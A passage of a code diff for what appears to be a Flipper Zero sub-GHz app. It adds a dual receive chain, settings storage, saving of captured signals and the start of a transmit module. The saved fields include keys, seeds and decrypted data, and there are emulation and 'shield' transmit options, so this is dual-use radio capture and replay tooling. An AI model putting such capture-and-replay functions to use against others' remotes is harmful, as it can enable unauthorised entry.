chain->receiver = subghz_receiver_alloc_init(chain->environment);
if(!chain->receiver) {
FURI_LOG_E(TAG, "[%c] Failed to allocate receiver", chain->label);
return false;
}
subghz_receiver_set_filter(chain->receiver, SubGhzProtocolFlag_Decodable);
}
if(!chain->worker) {
chain->worker = subghz_worker_alloc();
if(!chain->worker) {
FURI_LOG_E(TAG, "[%c] Failed to allocate worker", chain->label);
return false;
}
subghz_worker_set_overrun_callback(
chain->worker, (SubGhzWorkerOverrunCallback)subghz_receiver_reset);
subghz_worker_set_pair_callback(
chain->worker, (SubGhzWorkerPairCallback)subghz_receiver_decode);
subghz_worker_set_context(chain->worker, chain->receiver);
}
return true;
}
void gdr_rx_chain_set_decode_callback(
GDRRxChain* chain,
SubGhzReceiverCallback callback,
void* context) {
furi_check(chain);
furi_check(chain->receiver);
subghz_receiver_set_rx_callback(chain->receiver, callback, context);
}
bool gdr_rx_chain_start(GDRRxChain* chain) {
furi_check(chain);
if(!chain->device || !chain->worker || !chain->receiver) {
FURI_LOG_E(TAG, "[%c] start rejected (incomplete stack)", chain->label);
return false;
}
if(chain->state == GDRTxRxStateRx) {
return true;
}
if(!subghz_devices_is_frequency_valid(chain->device, chain->frequency)) {
FURI_LOG_E(TAG, "[%c] invalid frequency %lu", chain->label, chain->frequency);
return false;
}
subghz_receiver_reset(chain->receiver);
subghz_devices_reset(chain->device);
subghz_devices_idle(chain->device);
subghz_devices_load_preset(chain->device, FuriHalSubGhzPresetCustom, chain->preset.data);
subghz_devices_set_frequency(chain->device, chain->frequency);
subghz_devices_flush_rx(chain->device);
subghz_devices_set_rx(chain->device);
subghz_devices_start_async_rx(chain->device, subghz_worker_rx_callback, chain->worker);
subghz_worker_start(chain->worker);
chain->state = GDRTxRxStateRx;
FURI_LOG_I(TAG, "[%c] RX started on %lu Hz", chain->label, chain->frequency);
return true;
}
void gdr_rx_chain_stop(GDRRxChain* chain) {
if(!chain) {
return;
}
if(chain->state != GDRTxRxStateRx) {
return;
}
if(chain->worker && subghz_worker_is_running(chain->worker)) {
subghz_worker_stop(chain->worker);
}
if(chain->device) {
subghz_devices_stop_async_rx(chain->device);
subghz_devices_idle(chain->device);
}
chain->state = GDRTxRxStateIDLE;
}
float gdr_rx_chain_get_rssi(GDRRxChain* chain) {
furi_check(chain);
if(!chain->device || chain->state != GDRTxRxStateRx) {
return -127.0f;
}
return subghz_devices_get_rssi(chain->device);
}
#endif // ENABLE_DUAL_RX_SCENE || ENABLE_SHIELD_RX_SCENE
@@ -0,0 +1,82 @@
// helpers/gdr_rx_chain.h
#pragma once
#include "gdr_types.h"
#if defined(ENABLE_DUAL_RX_SCENE) || defined(ENABLE_SHIELD_RX_SCENE)
#include <lib/subghz/subghz_worker.h>
#include <lib/subghz/receiver.h>
#include <lib/subghz/subghz_setting.h>
#include <lib/subghz/devices/devices.h>
#include <lib/subghz/types.h>
#include <lib/flipper_application/plugins/plugin_manager.h>
#include <lib/flipper_application/plugins/composite_resolver.h>
#include "radio_device_loader.h"
#include "../protocols/protocol_items.h"
#include "../protocols/gdr_protocol_plugins.h"
typedef struct {
char label; // 'A' or 'B' (display tag)
const SubGhzDevice* device;
bool is_external;
SubGhzWorker* worker;
SubGhzReceiver* receiver;
SubGhzEnvironment* environment;
CompositeApiResolver* resolver;
PluginManager* plugin_manager;
const GDRProtocolPlugin* plugin;
const SubGhzProtocolRegistry* registry;
GDRProtocolRegistryFilter filter;
SubGhzRadioPreset preset; // .name is an owned FuriString
uint8_t* base_preset_data;
size_t base_preset_data_size;
uint8_t* owned_preset_data;
uint32_t frequency;
uint32_t rx_bandwidth_hz;
GDRTxRxState state;
} GDRRxChain;
GDRRxChain* gdr_rx_chain_alloc(char label);
void gdr_rx_chain_free(GDRRxChain* chain);
bool gdr_rx_chain_acquire_device(
GDRRxChain* chain,
SubGhzRadioDeviceType type);
bool gdr_rx_chain_set_preset(
GDRRxChain* chain,
SubGhzSetting* setting,
const char* preset_name,
uint32_t frequency);
bool gdr_rx_chain_set_preset_data(
GDRRxChain* chain,
const char* preset_name,
uint8_t* preset_data,
size_t preset_data_size,
uint32_t frequency);
bool gdr_rx_chain_apply_shield_profile(GDRRxChain* chain);
bool gdr_rx_chain_init_receiver(GDRRxChain* chain);
void gdr_rx_chain_set_decode_callback(
GDRRxChain* chain,
SubGhzReceiverCallback callback,
void* context);
bool gdr_rx_chain_start(GDRRxChain* chain);
void gdr_rx_chain_stop(GDRRxChain* chain);
float gdr_rx_chain_get_rssi(GDRRxChain* chain);
#endif // ENABLE_DUAL_RX_SCENE || ENABLE_SHIELD_RX_SCENE
@@ -0,0 +1,264 @@
// helpers/gdr_settings.c
#include "gdr_settings.h"
#include <storage/storage.h>
#include <flipper_format/flipper_format.h>
#include <furi.h>
#include <stdio.h>
#include "../defines.h"
#include "../protocols/protocols_common.h"
#define TAG "GDRSettings"
#define SETTINGS_FILE_HEADER "GDR Settings"
#define SETTINGS_FILE_VERSION 1
void gdr_settings_set_defaults(GDRSettings* settings) {
settings->frequency = 433920000;
settings->preset_index = 0;
settings->tx_power = 0;
settings->auto_save = false;
settings->hopping_enabled = false;
settings->emulate_feature_enabled = false;
settings->dual_freq_a = 433920000;
settings->dual_freq_b = 433920000;
settings->dual_preset_a = 0xFF;
settings->dual_preset_b = 0xFF;
settings->dual_preset_name_a[0] = '\0';
settings->dual_preset_name_b[0] = '\0';
settings->shield_freq = 433920000;
settings->shield_preset_index = 0;
settings->shield_tx_offset_index = 3;
settings->shield_tx_power = 0;
}
void gdr_settings_load(GDRSettings* settings) {
// Set defaults first
gdr_settings_set_defaults(settings);
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* ff = flipper_format_file_alloc(storage);
do {
if(!flipper_format_file_open_existing(ff, GDR_SETTINGS_FILE)) {
FURI_LOG_I(TAG, "Settings file not found, using defaults");
break;
}
FuriString* header = furi_string_alloc();
uint32_t version = 0;
if(!flipper_format_read_header(ff, header, &version)) {
FURI_LOG_W(TAG, "Failed to read settings header");
furi_string_free(header);
break;
}
if(version != SETTINGS_FILE_VERSION) {
FURI_LOG_W(TAG, "Unsupported settings version %lu", (unsigned long)version);
furi_string_free(header);
break;
}
if(furi_string_cmp_str(header, SETTINGS_FILE_HEADER) != 0) {
FURI_LOG_W(TAG, "Invalid settings file header");
furi_string_free(header);
break;
}
furi_string_free(header);
// Read frequency
if(!flipper_format_read_uint32(ff, FF_FREQUENCY, &settings->frequency, 1)) {
FURI_LOG_W(TAG, "Failed to read frequency, using default");
settings->frequency = 433920000;
}
// Read preset index
uint32_t preset_temp = 0;
if(!flipper_format_read_uint32(ff, "PresetIndex", &preset_temp, 1)) {
FURI_LOG_W(TAG, "Failed to read preset index, using default");
preset_temp = 0;
}
settings->preset_index = (uint8_t)preset_temp;
// Read auto-save
uint32_t auto_save_temp = 0;
if(!flipper_format_read_uint32(ff, "AutoSave", &auto_save_temp, 1)) {
FURI_LOG_W(TAG, "Failed to read auto-save, using default");
auto_save_temp = 0;
}
settings->auto_save = (auto_save_temp == 1);
// Read tx-power
uint32_t tx_power_temp = 0;
if(!flipper_format_read_uint32(ff, "TXPower", &tx_power_temp, 1)) {
FURI_LOG_W(TAG, "Failed to read TXPower, using default");
tx_power_temp = 0;
}
settings->tx_power = (uint8_t)tx_power_temp;
// Read hopping
uint32_t hopping_temp = 0;
if(!flipper_format_read_uint32(ff, "Hopping", &hopping_temp, 1)) {
FURI_LOG_W(TAG, "Failed to read hopping, using default");
hopping_temp = 0;
}
settings->hopping_enabled = (hopping_temp == 1);
uint32_t emulate_temp = 0;
if(!flipper_format_read_uint32(ff, "EmulateFeature", &emulate_temp, 1)) {
FURI_LOG_I(TAG, "EmulateFeature key missing, defaulting to disabled");
emulate_temp = 0;
}
settings->emulate_feature_enabled = (emulate_temp == 1);
flipper_format_rewind(ff);
flipper_format_read_uint32(ff, "DualFreqA", &settings->dual_freq_a, 1);
flipper_format_rewind(ff);
flipper_format_read_uint32(ff, "DualFreqB", &settings->dual_freq_b, 1);
uint32_t dual_preset_temp = 0;
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, "DualPresetA", &dual_preset_temp, 1)) {
settings->dual_preset_a = (uint8_t)dual_preset_temp;
}
dual_preset_temp = 0;
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, "DualPresetB", &dual_preset_temp, 1)) {
settings->dual_preset_b = (uint8_t)dual_preset_temp;
}
FuriString* preset_name = furi_string_alloc();
flipper_format_rewind(ff);
if(flipper_format_read_string(ff, "DualPresetNameA", preset_name)) {
snprintf(
settings->dual_preset_name_a,
sizeof(settings->dual_preset_name_a),
"%s",
furi_string_get_cstr(preset_name));
}
flipper_format_rewind(ff);
if(flipper_format_read_string(ff, "DualPresetNameB", preset_name)) {
snprintf(
settings->dual_preset_name_b,
sizeof(settings->dual_preset_name_b),
"%s",
furi_string_get_cstr(preset_name));
}
furi_string_free(preset_name);
flipper_format_rewind(ff);
flipper_format_read_uint32(ff, "ShieldFreq", &settings->shield_freq, 1);
dual_preset_temp = 0;
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, "ShieldPreset", &dual_preset_temp, 1)) {
settings->shield_preset_index = (uint8_t)dual_preset_temp;
}
dual_preset_temp = 0;
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, "ShieldTxOffset", &dual_preset_temp, 1)) {
settings->shield_tx_offset_index = (uint8_t)dual_preset_temp;
}
dual_preset_temp = 0;
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, "ShieldTxPower", &dual_preset_temp, 1)) {
settings->shield_tx_power = (uint8_t)dual_preset_temp;
}
FURI_LOG_I(
TAG,
"Settings loaded: freq=%lu, preset=%u, auto_save=%d, hopping=%d, emulate=%d",
settings->frequency,
settings->preset_index,
settings->auto_save,
settings->hopping_enabled,
settings->emulate_feature_enabled);
} while(false);
flipper_format_free(ff);
furi_record_close(RECORD_STORAGE);
}
void gdr_settings_save(GDRSettings* settings) {
Storage* storage = furi_record_open(RECORD_STORAGE);
// Ensure directory exists
storage_simply_mkdir(storage, GDR_SETTINGS_DIR);
FlipperFormat* ff = flipper_format_file_alloc(storage);
do {
if(!flipper_format_file_open_always(ff, GDR_SETTINGS_FILE)) {
FURI_LOG_E(TAG, "Failed to open settings file for writing");
break;
}
if(!flipper_format_write_header_cstr(ff, SETTINGS_FILE_HEADER, SETTINGS_FILE_VERSION)) {
FURI_LOG_E(TAG, "Failed to write settings header");
break;
}
if(!flipper_format_write_uint32(ff, FF_FREQUENCY, &settings->frequency, 1)) {
FURI_LOG_E(TAG, "Failed to write frequency");
break;
}
uint32_t preset_temp = settings->preset_index;
if(!flipper_format_write_uint32(ff, "PresetIndex", &preset_temp, 1)) {
FURI_LOG_E(TAG, "Failed to write preset index");
break;
}
uint32_t auto_save_temp = settings->auto_save ? 1 : 0;
if(!flipper_format_write_uint32(ff, "AutoSave", &auto_save_temp, 1)) {
FURI_LOG_E(TAG, "Failed to write auto-save");
break;
}
uint32_t tx_power_temp = settings->tx_power;
if(!flipper_format_write_uint32(ff, "TXPower", &tx_power_temp, 1)) {
FURI_LOG_E(TAG, "Failed to write TX Power");
break;
}
uint32_t hopping_temp = settings->hopping_enabled ? 1 : 0;
if(!flipper_format_write_uint32(ff, "Hopping", &hopping_temp, 1)) {
FURI_LOG_E(TAG, "Failed to write hopping");
break;
}
uint32_t emulate_temp = settings->emulate_feature_enabled ? 1 : 0;
if(!flipper_format_write_uint32(ff, "EmulateFeature", &emulate_temp, 1)) {
FURI_LOG_E(TAG, "Failed to write emulate feature flag");
break;
}
flipper_format_write_uint32(ff, "DualFreqA", &settings->dual_freq_a, 1);
flipper_format_write_uint32(ff, "DualFreqB", &settings->dual_freq_b, 1);
uint32_t dual_preset_a_temp = settings->dual_preset_a;
flipper_format_write_uint32(ff, "DualPresetA", &dual_preset_a_temp, 1);
uint32_t dual_preset_b_temp = settings->dual_preset_b;
flipper_format_write_uint32(ff, "DualPresetB", &dual_preset_b_temp, 1);
flipper_format_write_string_cstr(
ff, "DualPresetNameA", settings->dual_preset_name_a);
flipper_format_write_string_cstr(
ff, "DualPresetNameB", settings->dual_preset_name_b);
flipper_format_write_uint32(ff, "ShieldFreq", &settings->shield_freq, 1);
uint32_t shield_preset_temp = settings->shield_preset_index;
flipper_format_write_uint32(ff, "ShieldPreset", &shield_preset_temp, 1);
uint32_t shield_offset_temp = settings->shield_tx_offset_index;
flipper_format_write_uint32(ff, "ShieldTxOffset", &shield_offset_temp, 1);
uint32_t shield_power_temp = settings->shield_tx_power;
flipper_format_write_uint32(ff, "ShieldTxPower", &shield_power_temp, 1);
FURI_LOG_I(
TAG,
"Settings saved: freq=%lu, preset=%u, auto_save=%d, hopping=%d, emulate=%d",
settings->frequency,
settings->preset_index,
settings->auto_save,
settings->hopping_enabled,
settings->emulate_feature_enabled);
} while(false);
flipper_format_free(ff);
furi_record_close(RECORD_STORAGE);
}
@@ -0,0 +1,32 @@
// helpers/gdr_settings.h
#pragma once
#include <stdint.h>
#include <stdbool.h>
#define GDR_SETTINGS_FILE APP_DATA_PATH("settings.txt")
#define GDR_SETTINGS_DIR APP_DATA_PATH()
#define GDR_PRESET_NAME_MAX 64U
typedef struct {
uint32_t frequency;
uint8_t preset_index;
uint8_t tx_power;
bool auto_save;
bool hopping_enabled;
bool emulate_feature_enabled;
uint32_t dual_freq_a;
uint32_t dual_freq_b;
uint8_t dual_preset_a;
uint8_t dual_preset_b;
char dual_preset_name_a[GDR_PRESET_NAME_MAX];
char dual_preset_name_b[GDR_PRESET_NAME_MAX];
uint32_t shield_freq;
uint8_t shield_preset_index;
uint8_t shield_tx_offset_index;
uint8_t shield_tx_power;
} GDRSettings;
void gdr_settings_load(GDRSettings* settings);
void gdr_settings_save(GDRSettings* settings);
void gdr_settings_set_defaults(GDRSettings* settings);
@@ -0,0 +1,558 @@
// helpers/gdr_storage.c
#include "gdr_storage.h"
#include "../defines.h"
#include "../protocols/protocols_common.h"
#define TAG "GDRStorage"
bool gdr_storage_init(void) {
Storage* storage = furi_record_open(RECORD_STORAGE);
bool result = storage_simply_mkdir(storage, GDR_APP_FOLDER);
furi_record_close(RECORD_STORAGE);
return result;
}
void gdr_storage_wipe_history_cache(void) {
Storage* storage = furi_record_open(RECORD_STORAGE);
if(storage_dir_exists(storage, GDR_HISTORY_FOLDER)) {
storage_simply_remove_recursive(storage, GDR_HISTORY_FOLDER);
FURI_LOG_I(TAG, "Wiped history cache");
}
furi_record_close(RECORD_STORAGE);
}
void gdr_storage_purge_temp_history_at_startup(void) {
Storage* storage = furi_record_open(RECORD_STORAGE);
if(storage_dir_exists(storage, GDR_HISTORY_FOLDER)) {
storage_simply_remove_recursive(storage, GDR_HISTORY_FOLDER);
}
furi_record_close(RECORD_STORAGE);
}
bool gdr_storage_ensure_history_folder(void) {
if(!gdr_storage_init()) {
return false;
}
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_mkdir(storage, GDR_CACHE_FOLDER);
bool ok = storage_simply_mkdir(storage, GDR_HISTORY_FOLDER);
furi_record_close(RECORD_STORAGE);
return ok;
}
void gdr_storage_build_history_path(uint32_t seq, FuriString* out) {
furi_check(out);
furi_string_printf(
out,
"%s/hist_%08lu%s",
GDR_HISTORY_FOLDER,
(unsigned long)seq,
GDR_APP_EXTENSION);
}
bool gdr_storage_save_history_capture(
FlipperFormat* flipper_format,
uint32_t seq,
FuriString* out_path) {
furi_check(flipper_format);
furi_check(out_path);
if(!gdr_storage_ensure_history_folder()) {
FURI_LOG_E(TAG, "History folder missing");
return false;
}
gdr_storage_build_history_path(seq, out_path);
return gdr_storage_save_capture_to_path(
flipper_format, furi_string_get_cstr(out_path));
}
static void sanitize_filename(const char* input, char* output, size_t output_size) {
if(!output || output_size == 0) return;
if(!input) {
output[0] = '\0';
return;
}
size_t i = 0;
size_t j = 0;
while(input[i] != '\0' && j < output_size - 1) {
char c = input[i];
if(c == '/' || c == '\\' || c == ':' || c == '*' || c == '?' || c == '"' || c == '<' ||
c == '>' || c == '|' || c == ' ') {
output[j] = '_';
} else {
output[j] = c;
}
i++;
j++;
}
output[j] = '\0';
}
bool gdr_storage_get_next_filename(const char* protocol_name, FuriString* out_filename) {
if(!protocol_name || !out_filename) return false;
Storage* storage = furi_record_open(RECORD_STORAGE);
FuriString* temp_path = furi_string_alloc();
uint32_t index = 0;
bool found = false;
char safe_name[64];
sanitize_filename(protocol_name, safe_name, sizeof(safe_name));
while(!found && index <= 999) {
furi_string_printf(
temp_path,
"%s/%s_%03lu%s",
GDR_APP_FOLDER,
safe_name,
(unsigned long)index,
GDR_APP_EXTENSION);
if(!storage_file_exists(storage, furi_string_get_cstr(temp_path))) {
furi_string_set(out_filename, temp_path);
found = true;
} else {
index++;
}
}
furi_string_free(temp_path);
furi_record_close(RECORD_STORAGE);
return found;
}
static const char* const gdr_storage_base_u32_fields[] = {
"TE",
FF_SERIAL,
FF_BTN,
"BtnSig",
FF_CNT,
"Extra",
"ExtraBit",
"Extra_bits",
"Tail",
"Checksum",
"CRC",
FF_TYPE,
};
static const char* const gdr_storage_tail_u32_fields[] = {
"DataHi",
"DataLo",
"RawCnt",
"Encrypted",
"Decrypted",
"KIAVersion",
"Checksum",
};
static bool gdr_storage_fail(const char* action, const char* key) {
UNUSED(action);
UNUSED(key);
FURI_LOG_E(TAG, "%s failed: %s", action, key);
return false;
}
static bool
gdr_storage_get_count(FlipperFormat* flipper_format, const char* key, uint32_t* count) {
*count = 0;
flipper_format_rewind(flipper_format);
return flipper_format_get_value_count(flipper_format, key, count) && (*count > 0);
}
static bool gdr_storage_copy_string_optional(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
FuriString* value) {
flipper_format_rewind(flipper_format);
if(!flipper_format_read_string(flipper_format, key, value)) {
return true;
}
if(!flipper_format_write_string(save_file, key, value)) {
return gdr_storage_fail("Write", key);
}
return true;
}
static bool gdr_storage_copy_string_if_present(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
FuriString* value) {
uint32_t count = 0;
if(!gdr_storage_get_count(flipper_format, key, &count)) {
return true;
}
if(!flipper_format_read_string(flipper_format, key, value)) {
return gdr_storage_fail("Read", key);
}
if(!flipper_format_write_string(save_file, key, value)) {
return gdr_storage_fail("Write", key);
}
return true;
}
static bool gdr_storage_copy_u32_optional(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key) {
uint32_t value = 0;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_uint32(flipper_format, key, &value, 1)) {
return true;
}
if(!flipper_format_write_uint32(save_file, key, &value, 1)) {
return gdr_storage_fail("Write", key);
}
return true;
}
static bool gdr_storage_copy_u32_fields(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* const* fields,
size_t field_count) {
for(size_t i = 0; i < field_count; i++) {
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, fields[i])) {
return false;
}
}
return true;
}
static bool gdr_storage_copy_hex_fixed(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
size_t len,
bool* copied) {
uint8_t data[8];
furi_check(len <= sizeof(data));
if(copied) {
*copied = false;
}
flipper_format_rewind(flipper_format);
if(!flipper_format_read_hex(flipper_format, key, data, len)) {
return true;
}
if(copied) {
*copied = true;
}
if(!flipper_format_write_hex(save_file, key, data, len)) {
return gdr_storage_fail("Write", key);
}
return true;
}
static bool gdr_storage_copy_u32_array(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
uint32_t count,
uint32_t max_count) {
if(count >= max_count) {
FURI_LOG_E(TAG, "%s too large: %lu", key, (unsigned long)count);
return false;
}
uint32_t* data = malloc(sizeof(uint32_t) * count);
if(!data) {
FURI_LOG_E(TAG, "Malloc failed: %s (%lu u32)", key, (unsigned long)count);
return false;
}
bool status = false;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_uint32(flipper_format, key, data, count)) {
gdr_storage_fail("Read", key);
} else if(!flipper_format_write_uint32(save_file, key, data, count)) {
gdr_storage_fail("Write", key);
} else {
status = true;
}
free(data);
return status;
}
static bool gdr_storage_copy_u32_array_if_present(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
uint32_t max_count) {
uint32_t count = 0;
if(!gdr_storage_get_count(flipper_format, key, &count)) {
return true;
}
return gdr_storage_copy_u32_array(save_file, flipper_format, key, count, max_count);
}
static bool gdr_storage_copy_hex_array_if_present(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
uint32_t max_count) {
uint32_t count = 0;
if(!gdr_storage_get_count(flipper_format, key, &count)) {
return true;
}
if(count >= max_count) {
FURI_LOG_E(TAG, "%s too large: %lu", key, (unsigned long)count);
return false;
}
uint8_t* data = malloc(count);
if(!data) {
FURI_LOG_E(TAG, "Malloc failed: %s (%lu bytes)", key, (unsigned long)count);
return false;
}
bool status = false;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_hex(flipper_format, key, data, count)) {
gdr_storage_fail("Read", key);
} else if(!flipper_format_write_hex(save_file, key, data, count)) {
gdr_storage_fail("Write", key);
} else {
status = true;
}
free(data);
return status;
}
static bool gdr_storage_copy_key(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
FuriString* value) {
uint32_t count = 0;
flipper_format_rewind(flipper_format);
if(flipper_format_read_string(flipper_format, FF_KEY, value)) {
if(!flipper_format_write_string(save_file, FF_KEY, value)) {
return gdr_storage_fail("Write", FF_KEY);
}
return true;
}
if(gdr_storage_get_count(flipper_format, FF_KEY, &count)) {
return gdr_storage_copy_u32_array(save_file, flipper_format, FF_KEY, count, 1024);
}
return gdr_storage_copy_hex_fixed(save_file, flipper_format, FF_KEY, 8, NULL);
}
static bool gdr_storage_copy_hex_or_u32(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
const char* key,
size_t hex_len) {
bool copied = false;
if(!gdr_storage_copy_hex_fixed(save_file, flipper_format, key, hex_len, &copied)) {
return false;
}
return copied || gdr_storage_copy_u32_optional(save_file, flipper_format, key);
}
static bool gdr_storage_copy_key_2(
FlipperFormat* save_file,
FlipperFormat* flipper_format,
FuriString* value) {
bool copied = false;
if(!gdr_storage_copy_hex_fixed(save_file, flipper_format, "Key_2", 8, &copied)) {
return false;
}
if(copied) {
return true;
}
return gdr_storage_copy_string_optional(save_file, flipper_format, "Key_2", value) &&
gdr_storage_copy_u32_optional(save_file, flipper_format, "Key_2");
}
static bool gdr_storage_write_capture_data(
FlipperFormat* save_file,
FlipperFormat* flipper_format) {
furi_check(save_file);
furi_check(flipper_format);
FuriString* string_value = furi_string_alloc();
if(!string_value) {
FURI_LOG_E(TAG, "Failed to alloc string_value");
return false;
}
bool status = false;
do {
if(!gdr_storage_copy_string_optional(
save_file, flipper_format, FF_PROTOCOL, string_value))
break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, FF_BIT)) break;
if(!gdr_storage_copy_key(save_file, flipper_format, string_value)) break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, FF_FREQUENCY)) break;
if(!gdr_storage_copy_string_optional(
save_file, flipper_format, FF_PRESET, string_value))
break;
if(!gdr_storage_copy_string_optional(
save_file, flipper_format, "RadioDevice", string_value))
break;
if(!gdr_storage_copy_string_if_present(
save_file, flipper_format, "Custom_preset_module", string_value))
break;
if(!gdr_storage_copy_hex_array_if_present(
save_file, flipper_format, "Custom_preset_data", 1024))
break;
if(!gdr_storage_copy_u32_fields(
save_file,
flipper_format,
gdr_storage_base_u32_fields,
COUNT_OF(gdr_storage_base_u32_fields)))
break;
if(!gdr_storage_copy_hex_fixed(save_file, flipper_format, "Key2", 8, NULL)) break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "KeyIdx")) break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "Seed")) break;
if(!gdr_storage_copy_hex_or_u32(save_file, flipper_format, "ValidationField", 2))
break;
if(!gdr_storage_copy_key_2(save_file, flipper_format, string_value)) break;
if(!gdr_storage_copy_hex_or_u32(save_file, flipper_format, "Key_3", 4)) break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "Key_4")) break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "Fx")) break;
if(!gdr_storage_copy_hex_fixed(save_file, flipper_format, "Key1", 8, NULL)) break;
if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "Check")) break;
if(!gdr_storage_copy_u32_array_if_present(
save_file, flipper_format, "RAW_Data", 4096))
break;
if(!gdr_storage_copy_u32_fields(
save_file,
flipper_format,
gdr_storage_tail_u32_fields,
COUNT_OF(gdr_storage_tail_u32_fields)))
break;
if(!gdr_storage_copy_string_optional(
save_file, flipper_format, FF_MANUFACTURE, string_value))
break;
status = true;
} while(false);
furi_string_free(string_value);
return status;
}
bool gdr_storage_save_capture_to_path(FlipperFormat* flipper_format, const char* full_path) {
furi_check(flipper_format);
furi_check(full_path);
if(!gdr_storage_init()) {
FURI_LOG_E(TAG, "Failed to create app folder");
return false;
}
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* save_file = flipper_format_file_alloc(storage);
bool result = false;
do {
// Remove if it already exists (overwrite)
if(storage_file_exists(storage, full_path)) {
storage_simply_remove(storage, full_path);
}
if(!flipper_format_file_open_new(save_file, full_path)) {
FURI_LOG_E(TAG, "Failed to create file: %s", full_path);
break;
}
if(!flipper_format_write_header_cstr(save_file, "Flipper SubGhz Key File", 1)) {
FURI_LOG_E(TAG, "Failed to write header");
break;
}
if(!gdr_storage_write_capture_data(save_file, flipper_format)) {
FURI_LOG_E(TAG, "Failed to write capture data");
break;
}
result = true;
FURI_LOG_I(TAG, "Saved capture to %s", full_path);
} while(false);
flipper_format_free(save_file);
furi_record_close(RECORD_STORAGE);
return result;
}
void gdr_storage_delete_temp(void) {
Storage* storage = furi_record_open(RECORD_STORAGE);
if(storage_file_exists(storage, GDR_TEMP_FILE)) {
storage_simply_remove(storage, GDR_TEMP_FILE);
FURI_LOG_I(TAG, "Deleted temp file");
}
furi_record_close(RECORD_STORAGE);
}
bool gdr_storage_save_capture(
FlipperFormat* flipper_format,
const char* protocol_name,
FuriString* out_path) {
furi_check(flipper_format);
furi_check(protocol_name);
furi_check(out_path);
if(!gdr_storage_init()) {
FURI_LOG_E(TAG, "Failed to create app folder");
return false;
}
FuriString* file_path = furi_string_alloc();
if(!gdr_storage_get_next_filename(protocol_name, file_path)) {
FURI_LOG_E(TAG, "Failed to get next filename");
furi_string_free(file_path);
return false;
}
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* save_file = flipper_format_file_alloc(storage);
bool result = false;
do {
if(!flipper_format_file_open_new(save_file, furi_string_get_cstr(file_path))) {
FURI_LOG_E(TAG, "Failed to create file");
break;
}
if(!flipper_format_write_header_cstr(save_file, "Flipper SubGhz Key File", 1)) {
FURI_LOG_E(TAG, "Failed to write header");
break;
}
if(!gdr_storage_write_capture_data(save_file, flipper_format)) {
FURI_LOG_E(TAG, "Failed to write capture data");
break;
}
if(out_path) furi_string_set(out_path, file_path);
result = true;
FURI_LOG_I(TAG, "Saved capture to %s", furi_string_get_cstr(file_path));
} while(false);
flipper_format_free(save_file);
furi_string_free(file_path);
furi_record_close(RECORD_STORAGE);
return result;
}
bool gdr_storage_delete_file(const char* file_path) {
Storage* storage = furi_record_open(RECORD_STORAGE);
bool result = storage_simply_remove(storage, file_path);
furi_record_close(RECORD_STORAGE);
FURI_LOG_I(TAG, "Delete file %s: %s", file_path, result ? "OK" : "FAILED");
return result;
}
@@ -0,0 +1,59 @@
// helpers/gdr_storage.h
#pragma once
#include <furi.h>
#include <storage/storage.h>
#include <flipper_format/flipper_format.h>
#define GDR_APP_FOLDER APP_DATA_PATH("saved")
#define GDR_APP_EXTENSION ".psf"
#define GDR_APP_FILE_VERSION 1
#define GDR_TEMP_FILE APP_DATA_PATH("saved/.temp.psf")
#define GDR_CACHE_FOLDER APP_DATA_PATH("cache")
#define GDR_HISTORY_FOLDER APP_DATA_PATH("cache/history")
// Initialize storage (create folder if needed)
bool gdr_storage_init(void);
// Save a capture to a new file (auto-generated name)
bool gdr_storage_save_capture(
FlipperFormat* flipper_format,
const char* protocol_name,
FuriString* out_path);
// Save a capture to a specific file path (user-chosen name)
bool gdr_storage_save_capture_to_path(FlipperFormat* flipper_format, const char* full_path);
// Save to temp file for emulation
bool gdr_storage_save_temp(FlipperFormat* flipper_format);
// Delete temp file
void gdr_storage_delete_temp(void);
// Get next available filename for a protocol
bool gdr_storage_get_next_filename(const char* protocol_name, FuriString* out_filename);
// Delete a file
bool gdr_storage_delete_file(const char* file_path);
// Load a file (caller must close with gdr_storage_close_file)
FlipperFormat* gdr_storage_load_file(const char* file_path);
// Close a loaded file (by gdr_storage_load_file only)
void gdr_storage_close_file(FlipperFormat* flipper_format);
// Check if file exists
bool gdr_storage_file_exists(const char* file_path);
bool gdr_storage_ensure_history_folder(void);
void gdr_storage_purge_temp_history_at_startup(void);
void gdr_storage_wipe_history_cache(void);
bool gdr_storage_save_history_capture(
FlipperFormat* flipper_format,
uint32_t seq,
FuriString* out_path);
void gdr_storage_build_history_path(uint32_t seq, FuriString* out);
@@ -0,0 +1,273 @@
// helpers/gdr_tx_chain.c
#include "gdr_tx_chain.h"
#ifdef ENABLE_SHIELD_RX_SCENE
#include <furi.h>
#include <string.h>
#define TAG "GDRTxChain"
#define GDR_TX_CARRIER_PRESET "AM650"
#define GDR_TX_POWER_COUNT 9U
#define GDR_TX_PRESET_VALUES_AM 8U
#define GDR_TX_PRESET_VALUES_COUNT 17U
static const uint8_t gdr_tx_power_value[GDR_TX_PRESET_VALUES_COUNT] = {
0,
0xC0,
0xC8,
0x84,
0x60,
0x34,
0x1D,
0x0E,
